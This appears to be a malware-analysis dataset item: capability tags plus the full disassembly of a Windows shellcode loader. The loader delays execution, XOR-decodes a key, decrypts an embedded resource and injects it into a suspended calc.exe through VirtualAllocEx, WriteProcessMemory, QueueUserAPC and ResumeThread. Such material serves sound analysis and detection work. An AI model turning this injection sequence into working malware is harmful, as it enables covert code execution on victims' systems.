Function at 0x140001480
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Inject apc
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x10], rax
xor eax, eax
mov dword [rsp + 0x6c], eax
lea rcx, str.NTDLL.DLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtDelayExecution
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x68], 0xfffffffffc6c7900
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
lea rdx, [rsp + 0x68]
xor ecx, ecx
call rbx
test eax, eax
je 0x14000150b
cmp eax, 0x102
je 0x14000150b
mov edx, eax
lea rcx, str.____NtDelayExecution_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x140001511
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x14000156a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____FindResourceW_Failed_With_Error_:
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400018f0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001ac0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
jmp 0x1400017e6
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001589
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____LoadResource_Failed_With_Error_:
jmp 0x140001537
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
jne 0x1400015a9
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____LockResource_Failed_With_Error_:
jmp 0x140001537
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test eax, eax
jne 0x1400015cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____SizeofResource_Failed_With_Error_:
jmp 0x140001537
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x68], 0xe3154a17
mov dword [rsp + 0x6c], 0xd9759599
mov dword [rsp + 0x70], 0x88025af6
mov dword [rsp + 0x74], 0xee8d4301
mov ecx, 0x10
call fcn.140001cc0
mov r15, rax
mov qword [rbp - 0x80], rax
lea r12, [rax + 0x10]
mov qword [rbp - 0x70], r12
mov r8d, 0x10
lea rdx, [rsp + 0x68]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp - 0x78], r12
sub r12, r15
xor bl, bl
mov ecx, 0x10
call fcn.140001d04
mov r10, rax
movzx edx, byte [r15]
cmp dl, 0x12
je 0x14000164c
nop
inc bl
movzx ecx, dl
xor cl, bl
cmp cl, 0x12
jne 0x140001640
xor edx, edx
mov r8, r15
sub r8, r10
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rdx + r10]
movzx eax, bl
xor al, byte [r8 + rcx]
sub al, dl
mov byte [rcx], al
inc rdx
cmp rdx, 0x10
jb 0x140001660
xor eax, eax
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, rsi
mov r8, rdi
mov rdx, r12
mov rcx, r10
call fcn.140001210
mov r14, qword [rsp + 0x70]
mov r13, qword [rsp + 0x68]
sub r14, r13
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32calc.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, r14
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x20], 0
mov r9, r14
mov r8, r13
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
test r13, r13
je 0x1400017b6
mov rdx, qword [rsp + 0x78]
sub rdx, r13
mov rax, r13
cmp rdx, 0x1000
jb 0x1400017ad
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.140001cfc
nop
cmp r12, 0x1000
jb 0x1400017d9
mov r12d, 0x37
mov rcx, qword [r15 - 8]
sub r15, rcx
lea rax, [r15 - 8]
cmp rax, 0x1f
ja 0x140001813
mov r15, rcx
mov rdx, r12
mov rcx, r15
call fcn.140001cfc
xor eax, eax
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.140001ca0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3